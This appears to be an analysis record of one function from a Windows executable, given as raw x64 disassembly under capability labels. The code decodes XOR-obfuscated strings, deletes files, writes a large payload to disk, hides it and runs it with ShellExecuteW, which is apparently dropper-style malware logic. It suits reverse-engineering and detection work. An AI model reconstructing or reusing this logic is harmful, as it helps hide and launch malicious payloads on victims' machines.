Function at 0x140057050
Capabilities:
Check if file exists
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x718
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x690], 0xfffffffffffffffe
mov qword [rbp + 0x338], rcx
mov ecx, 9
mov edx, 0x41
mov r8d, 0x5a
call fcn.14005ed50
mov rdi, rax
xorps xmm0, xmm0
movaps xmmword [rbp + 0x570], xmm0
movaps xmmword [rbp + 0x580], xmm0
mov rcx, rax
call fcn.14035fe2c
mov rbx, rax
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
jae 0x140057bce
movabs rcx, 0x7ffffffffffffffe
cmp rbx, 7
ja 0x140057109
mov qword [rbp + 0x580], rbx
mov qword [rbp + 0x588], 7
lea r8, [rbx + rbx]
lea rcx, [rbp + 0x570]
mov rdx, rdi
call fcn.1403766a0
lea rax, [rbx*2 + 0x570]
add rax, rbp
jmp 0x140057191
mov rax, rbx
or rax, 7
cmp rax, rcx
ja 0x1400582b0
cmp rax, 0xb
mov esi, 0xa
cmovae rsi, rax
lea rcx, [rsi + rsi]
cmp rsi, 0x7ff
jb 0x14005715d
movabs rax, 0x7fffffffffffffec
cmp rsi, rax
jae 0x1400582b0
add rcx, 0x29
call fcn.140170c88
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x140057169
add rcx, 2
call fcn.140170c88
mov r14, rax
mov qword [rbp + 0x570], r14
mov qword [rbp + 0x580], rbx
mov qword [rbp + 0x588], rsi
lea r8, [rbx + rbx]
mov rcx, r14
mov rdx, rdi
call fcn.1403766a0
lea rax, [r14 + rbx*2]
mov word [rax], 0
lea rcx, [rbp + 0x570]
call fcn.14005e930
movabs rsi, 0x3ece06342eef53e9
mov qword [rbp - 0x40], rsi
mov rax, qword [rbp - 0x40]
mov qword [rbp + 0x340], rax
movabs rax, 0xa0f46c4f4e360aee
mov qword [rbp - 0x40], rax
mov rax, qword [rbp - 0x40]
mov qword [rbp + 0x348], rax
movabs rax, 0x69e77c4d4e808ca1
mov qword [rbp - 0x40], rax
mov rax, qword [rbp - 0x40]
mov qword [rbp + 0x350], rax
movabs rax, 0xa95193311d83385b
mov qword [rbp - 0x40], rax
mov rax, qword [rbp - 0x40]
mov qword [rbp + 0x358], rax
movabs rax, 0x3eab06422e8a5387
mov qword [rbp - 0x40], rax
mov rax, qword [rbp - 0x40]
mov qword [rbp - 0x40], rax
movabs rax, 0xa0996c3b4e1c0a9c
mov qword [rbp + 0x210], rax
mov rax, qword [rbp + 0x210]
mov qword [rbp - 0x38], rax
movabs rax, 0x699f7c284eae8cd1
mov qword [rbp + 0x210], rax
mov rax, qword [rbp + 0x210]
mov qword [rbp - 0x30], rax
movabs rax, 0xa95193311d83383e
mov qword [rbp + 0x210], rax
mov rax, qword [rbp + 0x210]
mov qword [rbp - 0x28], rax
lea rax, [rbp - 0x40]
mov qword [rbp + 0x210], rax
mov rax, qword [rbp + 0x210]
movaps xmm0, xmmword [rbp + 0x340]
movaps xmm1, xmmword [rbp + 0x350]
xorps xmm0, xmmword [rax]
movaps xmmword [rbp + 0x340], xmm0
xorps xmm1, xmmword [rax + 0x10]
movaps xmmword [rbp + 0x350], xmm1
lea rbx, [rbp + 0x340]
lea rdx, [rbp - 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp rax, 0xffffffffffffffff
je 0x1400572fb
mov r14, rax
lea r15, [rbp - 0x14]
mov rdi, qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea r12, [rbp - 0x40]
mov r13, qword [sym.imp.KERNEL32.dll_FindNextFileW]
nop dword [rax + rax]
mov rcx, r15
call rdi
mov rcx, r14
mov rdx, r12
call r13
test eax, eax
jne 0x1400572e0
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FindClose]
movabs rax, 0x3e8506322ee753f3
mov qword [rbp + 0x340], rax
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x210], rax
movabs rax, 0xa0996c5e4e640af9
mov qword [rbp + 0x340], rax
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x218], rax
movabs rdx, 0x3eab06422e8a5387
mov qword [rbp + 0x340], rdx
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x340], rax
movabs rcx, 0xa0996c3b4e1c0a9c
mov qword [rbp + 0x590], rcx
mov rax, qword [rbp + 0x590]
mov qword [rbp + 0x348], rax
mov qword [rbp + 0x590], rbx
mov rax, qword [rbp + 0x590]
movaps xmm0, xmmword [rbp + 0x210]
xorps xmm0, xmmword [rax]
movaps xmmword [rbp + 0x210], xmm0
mov qword [rbp + 0x340], rsi
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x590], rax
movabs rax, 0xa0996c3b4e1c0aee
mov qword [rbp + 0x340], rax
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x598], rax
mov qword [rbp + 0x340], rdx
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x340], rax
mov qword [rbp + 0x630], rcx
mov rax, qword [rbp + 0x630]
mov qword [rbp + 0x348], rax
mov qword [rbp + 0x630], rbx
mov rax, qword [rbp + 0x630]
movaps xmm0, xmmword [rbp + 0x590]
xorps xmm0, xmmword [rax]
movaps xmmword [rbp + 0x590], xmm0
lea rcx, [rbp + 0x590]
call fcn.14035fe2c
mov r15, rax
mov r14, qword [rbp + 0x580]
movabs rcx, 0x7ffffffffffffffe
mov rax, rcx
sub rax, r14
cmp rax, r15
jb 0x140057bd3
mov r12, qword [rbp + 0x570]
mov r13, qword [rbp + 0x588]
xorps xmm0, xmm0
movaps xmmword [rbp + 0x340], xmm0
movaps xmmword [rbp + 0x350], xmm0
lea rsi, [r14 + r15]
mov edi, 7
cmp rsi, 8
jb 0x1400574da
mov rax, rsi
or rax, 7
cmp rax, rcx
ja 0x1400582b5
cmp rax, 0xb
mov edi, 0xa
cmovae rdi, rax
lea rcx, [rdi + rdi]
cmp rdi, 0x7ff
jb 0x1400574c7
movabs rax, 0x7fffffffffffffec
cmp rdi, rax
jae 0x1400582b5
add rcx, 0x29
call fcn.140170c88
mov rbx, rax
add rbx, 0x27
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x1400574d3
add rcx, 2
call fcn.140170c88
mov rbx, rax
mov qword [rbp + 0x340], rbx
cmp r13, 8
lea r13, [rbp + 0x570]
cmovae r13, r12
mov qword [rbp + 0x350], rsi
mov qword [rbp + 0x358], rdi
lea r8, [r15 + r15]
lea rdx, [rbp + 0x590]
mov rcx, rbx
call fcn.1403766a0
lea rcx, [rbx + r15*2]
add r14, r14
mov rdx, r13
mov r8, r14
call fcn.1403766a0
mov word [rbx + rsi*2], 0
lea rbx, [rbp + 0x210]
mov rcx, rbx
call fcn.14035fe2c
mov rcx, qword [rbp + 0x350]
mov rdx, qword [rbp + 0x358]
mov r8, rdx
sub r8, rcx
cmp r8, rax
jae 0x14005756a
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x340]
lea r9, [rbp + 0x210]
mov rdx, rax
call fcn.1400424a0
mov rdi, rax
jmp 0x1400575a9
lea rsi, [rcx + rax]
mov qword [rbp + 0x350], rsi
lea rdi, [rbp + 0x340]
mov r14, rdi
cmp rdx, 8
jb 0x14005758c
mov r14, qword [rbp + 0x340]
lea rcx, [r14 + rcx*2]
add rax, rax
lea rdx, [rbp + 0x210]
mov r8, rax
call fcn.1403766a0
mov word [r14 + rsi*2], 0
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movaps xmmword [rbp + 0x640], xmm1
movaps xmmword [rbp + 0x630], xmm0
mov qword [rdi + 0x10], 0
mov qword [rdi + 0x18], 7
mov word [rdi], 0
mov rax, qword [rbp + 0x358]
cmp rax, 8
jb 0x14005761f
mov rcx, qword [rbp + 0x340]
lea rdx, [rax + rax]
add rdx, 2
cmp rdx, 0x1000
jb 0x14005761a
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140057bc9
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.140170ccc
mov r14, qword [0x1406b94f8]
mov r15, qword [str.HWTfzrYRVOxYFL7ouPMBc_TJiULVtcI2XZMSNDWK76KbSGxLrPML]
movabs rax, 0x57df632501e323e6
mov qword [rbp + 0x340], rax
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x590], rax
movabs rax, 0xcefc07543a2360f2
mov qword [rbp + 0x340], rax
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x598], rax
movabs rax, 0x699f7c284eae8cec
mov qword [rbp + 0x340], rax
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x5a0], rax
movabs rcx, 0xa95193311d83383e
mov qword [rbp + 0x340], rcx
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x5a8], rax
movabs rax, 0x3eab06422e8a5387
mov qword [rbp + 0x340], rax
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x340], rax
movabs rax, 0xa0996c3b4e1c0a9c
mov qword [rbp + 0x210], rax
mov rax, qword [rbp + 0x210]
mov qword [rbp + 0x348], rax
movabs rax, 0x699f7c284eae8cd1
mov qword [rbp + 0x210], rax
mov rax, qword [rbp + 0x210]
mov qword [rbp + 0x350], rax
mov qword [rbp + 0x210], rcx
mov rax, qword [rbp + 0x210]
mov qword [rbp + 0x358], rax
lea rdi, [rbp + 0x340]
mov qword [rbp + 0x210], rdi
mov rax, qword [rbp + 0x210]
movaps xmm0, xmmword [rbp + 0x590]
xorps xmm0, xmmword [rax]
movaps xmm1, xmmword [rbp + 0x5a0]
movaps xmmword [rbp + 0x590], xmm0
xorps xmm1, xmmword [rax + 0x10]
movaps xmmword [rbp + 0x5a0], xmm1
xorps xmm0, xmm0
movaps xmmword [rbp + 0x210], xmm0
movaps xmmword [rbp + 0x220], xmm0
lea r13, [rbp + 0x590]
mov rcx, r13
call fcn.14035e7e0
test rax, rax
js 0x140057bd8
mov r12, rax
cmp rax, 0xf
ja 0x1400577b9
mov qword [rbp + 0x220], r12
mov qword [rbp + 0x228], reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x210]
lea rdx, [rbp + 0x590]
mov r8, r12
call fcn.1403766a0
add r12, rbp
add r12, 0x210
jmp 0x140057838
mov qword [rbp + 0x228], reloc.WS2_32.dll_ntohs
mov rax, r12
or rax, 0xf
cmp rax, 0x17
mov esi, reloc.WS2_32.dll_shutdown
cmovae rsi, rax
cmp rsi, 0xfff
jb 0x1400577fb
lea rcx, [rsi + 0x28]
call fcn.140170c88
mov r13, rax
add r13, 0x27
and r13, 0xffffffffffffffe0
mov qword [r13 - 8], rax
jmp 0x140057807
lea rcx, [rsi + 1]
call fcn.140170c88
mov r13, rax
mov qword [rbp + 0x210], r13
mov qword [rbp + 0x220], r12
mov qword [rbp + 0x228], rsi
lea rdx, [rbp + 0x590]
mov rcx, r13
mov r8, r12
call fcn.1403766a0
add r12, r13
lea r13, [rbp + 0x590]
mov byte [r12], 0
mov rcx, r15
call fcn.14035e7e0
mov rcx, qword [rbp + 0x220]
mov rdx, qword [rbp + 0x228]
mov r8, rdx
sub r8, rcx
cmp r8, rax
jae 0x14005787a
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x210]
mov rdx, rax
mov r9, r15
call fcn.140015db0
mov rbx, rax
jmp 0x1400578aa
mov rsi, rax
add rsi, rcx
mov qword [rbp + 0x220], rsi
mov r12, rbx
cmp rdx, 0x10
jb 0x140057897
mov r12, qword [rbp + 0x210]
add rcx, r12
mov rdx, r15
mov r8, rax
call fcn.1403766a0
mov byte [r12 + rsi], 0
movups xmm0, xmmword [rbx]
movups xmm1, xmmword [rbx + 0x10]
movaps xmmword [rbp + 0x350], xmm1
movaps xmmword [rbp + 0x340], xmm0
mov qword [rbx + 0x10], 0
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
mov rax, qword [rbp + 0x350]
cmp qword [rbp + 0x358], 0x10
jb 0x1400578ea
mov rdi, qword [rbp + 0x340]
mov qword [rbp + 0x650], rdi
mov qword [rbp + 0x658], rax
mov rax, qword [r14]
mov rax, qword [rax + 0x18]
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
mov qword [rsp + 0x38], 0
mov byte [rsp + 0x20], 0
lea rbx, [rbp + 0x318]
lea r8, [rbp + 0x650]
mov rcx, r14
mov rdx, rbx
xor r9d, r9d
call rax
mov rax, qword [rbp + 0x358]
cmp rax, 0x10
jb 0x140057973
mov rcx, qword [rbp + 0x340]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x14005796e
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140057bc9
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.140170ccc
mov qword [rbp + 0x350], 0
mov qword [rbp + 0x358], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x340], 0
mov rax, qword [rbp + 0x228]
cmp rax, 0x10
jb 0x1400579d5
mov rcx, qword [rbp + 0x210]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x1400579d0
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140057bc9
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.140170ccc
cmp qword [rbp + 0x648], 8
jb 0x1400579e8
mov rdx, qword [rbp + 0x630]
jmp 0x1400579ef
lea rdx, [rbp + 0x630]
mov dword [rsp + 0x20], 1
lea rcx, [rbp + 0x210]
mov r8d, 0x20
mov r9d, 0x40
call fcn.1400402f0
mov r8, qword [rbp + 0x328]
cmp r8, 0x1e8480
jbe 0x140057bdd
cmp qword [rbp + 0x330], 0x10
jb 0x140057a34
mov rbx, qword [rbp + 0x318]
lea rcx, [rbp + 0x210]
mov rdx, rbx
call fcn.140056de0
lea rcx, [rbp + 0x210]
call fcn.140029140
cmp qword [rbp + 0x648], 8
jb 0x140057a62
mov rcx, qword [rbp + 0x630]
jmp 0x140057a69
lea rcx, [rbp + 0x630]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x14005829d
mov rcx, qword [rbp + 0x338]
call fcn.140057050
lea rsi, [rbp + 0x2b8]
mov rax, qword [rbp + 0x210]
movsxd rax, dword [rax + 4]
lea rcx, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rax + 0x210], rcx
mov rax, qword [rbp + 0x210]
movsxd rax, dword [rax + 4]
lea ecx, [rax - 0xa8]
mov dword [rbp + rax + 0x20c], ecx
lea rcx, [rbp + 0x218]
call fcn.14001fb30
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x2b8], rax
mov rcx, rsi
call fcn.1401712a0
mov rax, qword [rbp + 0x330]
cmp rax, 0x10
jb 0x140057b24
mov rcx, qword [rbp + 0x318]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x140057b1f
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140057bc9
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.140170ccc
mov rax, qword [rbp + 0x648]
cmp rax, 8
jb 0x140057b6c
mov rcx, qword [rbp + 0x630]
lea rdx, [rax + rax]
add rdx, 2
cmp rdx, 0x1000
jb 0x140057b67
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140057bc9
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.140170ccc
mov rax, qword [rbp + 0x588]
cmp rax, 8
jb 0x140057bb4
mov rcx, qword [rbp + 0x570]
lea rdx, [rax + rax]
add rdx, 2
cmp rdx, 0x1000
jb 0x140057baf
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140057bc9
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.140170ccc
nop
add rsp, 0x718
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call fcn.140351524
call fcn.140002160
call fcn.140002160
call fcn.140002160
movabs rax, 0x3ec406302ef853c2
mov qword [rbp + 0x340], rax
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x650], rax
movabs rax, 0xa0a86c604e3c0aee
mov qword [rbp + 0x340], rax
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x658], rax
movabs rax, 0x699f7c284eae8c8c
mov qword [rbp + 0x340], rax
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x660], rax
movabs r9, 0xa95193311d83383e
mov qword [rbp + 0x340], r9
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x668], rax
movabs r8, 0x3eab06422e8a5387
mov qword [rbp + 0x340], r8
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x340], rax
movabs rdx, 0xa0996c3b4e1c0a9c
mov qword [rbp + 0x590], rdx
mov rax, qword [rbp + 0x590]
mov qword [rbp + 0x348], rax
movabs r10, 0x699f7c284eae8cd1
mov qword [rbp + 0x590], r10
mov rax, qword [rbp + 0x590]
mov qword [rbp + 0x350], rax
mov qword [rbp + 0x590], r9
mov rax, qword [rbp + 0x590]
mov qword [rbp + 0x358], rax
lea rax, [rbp + 0x340]
mov qword [rbp + 0x590], rax
mov rcx, qword [rbp + 0x590]
movaps xmm0, xmmword [rbp + 0x650]
xorps xmm0, xmmword [rcx]
movaps xmm1, xmmword [rbp + 0x660]
movaps xmmword [rbp + 0x650], xmm0
xorps xmm1, xmmword [rcx + 0x10]
movaps xmmword [rbp + 0x660], xmm1
movabs rcx, 0x3ece062c2eaa53c6
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x590], rcx
movabs rcx, 0xa0eb6c544e6b0ae8
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x598], rcx
movabs rcx, 0x69ed7c4d4e8e8cba
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x5a0], rcx
movabs rcx, 0xa97193431dec384c
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x5a8], rcx
movabs rcx, 0xa5b4c5130d1634
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x5b0], rcx
movabs rcx, 0x7ef6f2bac852a7e2
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x5b8], rcx
movabs rcx, 0xd3eae2bca28914d9
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x5c0], rcx
movabs rcx, 0x4c6c9586e843b5b7
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x5c8], rcx
movabs rcx, 0xe65407724d05ec6f
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x5d0], rcx
movabs rcx, 0x7769319358e8cca7
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x5d8], rcx
movabs rcx, 0x22bf6f92671b45f6
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x5e0], rcx
movabs rcx, 0xc386381dd3a24ccf
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x5e8], rcx
movabs rcx, 0xe80127b6c47f051
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x5f0], rcx
movabs rcx, 0x1b818c58d07388d8
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x5f8], rcx
movabs rcx, 0x77ee92c72eda33f3
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x600], rcx
movabs rcx, 0x75790443f91532d3
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x608], rcx
movabs rcx, 0xf0d1e316d397f176
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x610], rcx
movabs rcx, 0x543d7d92a1e454d8
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x618], rcx
movabs rcx, 0x468b55b975402e00
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x620], rcx
movabs rcx, 0xb07986616cfad6a0
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x628], rcx
mov qword [rbp + 0x340], r8
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x340], rcx
mov qword [rbp + 0x670], rdx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x348], rcx
mov qword [rbp + 0x670], r10
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x350], rcx
mov qword [rbp + 0x670], r9
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x358], rcx
movabs rcx, 0xd0b4a6136e165b
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x360], rcx
movabs rcx, 0x7e92f2dfc820a790
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x368], rcx
movabs rcx, 0xd386e2cca2a914f5
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x370], rcx
movabs rcx, 0x4c0995f5e822b5d2
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x378], rcx
movabs rcx, 0xe631071a4d66ec4f
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x380], rcx
movabs rcx, 0x771031b35883ccc4
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x388], rcx
movabs rcx, 0x229f6fe0676e4599
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x390], rcx
movabs rcx, 0xc3e33869d3cc4c86
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x398], rcx
movabs rcx, 0xef4121e6c29f023
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x3a0], rcx
movabs rcx, 0x1bef8c37d01088f8
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x3a8], rcx
movabs rcx, 0x779a92a42ebf339d
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x3b0], rcx
movabs rcx, 0x7559042df97a32ba
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x3b8], rcx
movabs rcx, 0xf0f1e372d3f9f117
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x3c0], rcx
movabs rcx, 0x541d7deba19654ac
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x3c8], rcx
movabs rcx, 0x46e255d875272e61
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x3d0], rcx
movabs rcx, 0xb07986616cd4d6ce
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x3d8], rcx
mov qword [rbp + 0x670], rax
mov rax, qword [rbp + 0x670]
movaps xmm0, xmmword [rbp + 0x590]
movaps xmm1, xmmword [rbp + 0x5a0]
movaps xmm2, xmmword [rbp + 0x5b0]
xorps xmm0, xmmword [rax]
movaps xmm3, xmmword [rbp + 0x5c0]
movaps xmmword [rbp + 0x590], xmm0
xorps xmm1, xmmword [rax + 0x10]
movaps xmmword [rbp + 0x5a0], xmm1
xorps xmm2, xmmword [rax + 0x20]
movaps xmmword [rbp + 0x5b0], xmm2
xorps xmm3, xmmword [rax + 0x30]
movaps xmmword [rbp + 0x5c0], xmm3
movaps xmm0, xmmword [rbp + 0x5d0]
xorps xmm0, xmmword [rax + 0x40]
movaps xmmword [rbp + 0x5d0], xmm0
movaps xmm0, xmmword [rbp + 0x5e0]
xorps xmm0, xmmword [rax + 0x50]
movaps xmmword [rbp + 0x5e0], xmm0
movaps xmm0, xmmword [rbp + 0x5f0]
xorps xmm0, xmmword [rax + 0x60]
movaps xmmword [rbp + 0x5f0], xmm0
movaps xmm0, xmmword [rbp + 0x600]
xorps xmm0, xmmword [rax + 0x70]
movaps xmmword [rbp + 0x600], xmm0
movaps xmm0, xmmword [rbp + 0x610]
xorps xmm0, xmmword [rax + 0x80]
movaps xmmword [rbp + 0x610], xmm0
movaps xmm0, xmmword [rbp + 0x620]
xorps xmm0, xmmword [rax + 0x90]
movaps xmmword [rbp + 0x620], xmm0
lea rdx, [rbp + 0x590]
lea r8, [rbp + 0x650]
xor ecx, ecx
mov r9d, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_MessageBoxW]
xor ecx, ecx
call fcn.14034debc
cmp qword [rbp + 0x648], 8
jb 0x1400582ba
mov rcx, qword [rbp + 0x630]
jmp 0x1400582c1
call fcn.140003f60
call fcn.140003f60
lea rcx, [rbp + 0x630]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rbx, [rbp + 0x340]
xor ecx, ecx
mov rdx, rbx
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rbp + 0x670]
mov rdx, rbx
call fcn.140003d80
movabs rax, 0x3ecf06322eff53aa
mov qword [rbp + 0x590], rax
mov rax, qword [rbp + 0x590]
mov qword [rbp + 0x550], rax
movabs rax, 0xa0b96c5e4e680afd
mov qword [rbp + 0x590], rax
mov rax, qword [rbp + 0x590]
mov qword [rbp + 0x558], rax
movabs rax, 0x699f7c284eae8cf3
mov qword [rbp + 0x590], rax
mov rax, qword [rbp + 0x590]
mov qword [rbp + 0x560], rax
movabs rcx, 0xa95193311d83383e
mov qword [rbp + 0x590], rcx
mov rax, qword [rbp + 0x590]
mov qword [rbp + 0x568], rax
movabs rax, 0x3eab06422e8a5387
mov qword [rbp + 0x590], rax
mov rax, qword [rbp + 0x590]
mov qword [rbp + 0x590], rax
movabs rax, 0xa0996c3b4e1c0a9c
mov qword [rbp + 0x650], rax
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x598], rax
movabs rax, 0x699f7c284eae8cd1
mov qword [rbp + 0x650], rax
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x5a0], rax
mov qword [rbp + 0x650], rcx
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x5a8], rax
mov qword [rbp + 0x650], r13
mov rax, qword [rbp + 0x650]
movaps xmm0, xmmword [rbp + 0x550]
movaps xmm1, xmmword [rbp + 0x560]
xorps xmm0, xmmword [rax]
movaps xmmword [rbp + 0x550], xmm0
xorps xmm1, xmmword [rax + 0x10]
movaps xmmword [rbp + 0x560], xmm1
lea rcx, [rbp + 0x650]
lea rdx, [rbp + 0x550]
lea r8, [rbp + 0x670]
call fcn.14005a990
lea r8, [0x1404006e6]
lea rbx, [rbp + 0x590]
lea rdx, [rbp + 0x650]
mov rcx, rbx
call fcn.1400565f0
lea rdi, [rbp + 0x650]
mov rcx, rdi
call fcn.140002fa0
lea rcx, [rbp + 0x670]
call fcn.140002fa0
cmp qword [rbp + 0x5a8], 8
jb 0x140058475
mov rbx, qword [rbp + 0x590]
cmp qword [rbp + 0x648], 8
jb 0x140058488
mov r8, qword [rbp + 0x630]
jmp 0x14005848f
lea r8, [rbp + 0x630]
movabs rax, 0x3ec506272efa53e8
mov qword [rbp + 0x650], rax
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x670], rax
movabs rcx, 0xa0996c3b4e1c0a9c
mov qword [rbp + 0x650], rcx
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x678], rax
movabs rax, 0x3eab06422e8a5387
mov qword [rbp + 0x650], rax
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x650], rax
mov qword [rbp + 0x550], rcx
mov rax, qword [rbp + 0x550]
mov qword [rbp + 0x658], rax
mov qword [rbp + 0x550], rdi
mov rax, qword [rbp + 0x550]
movaps xmm0, xmmword [rbp + 0x670]
xorps xmm0, xmmword [rax]
movaps xmmword [rbp + 0x670], xmm0
mov dword [rsp + 0x28], 0xa
mov qword [rsp + 0x20], 0
lea rdx, [rbp + 0x670]
xor ecx, ecx
mov r9, rbx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
xor ecx, ecx
call fcn.14034debc
int3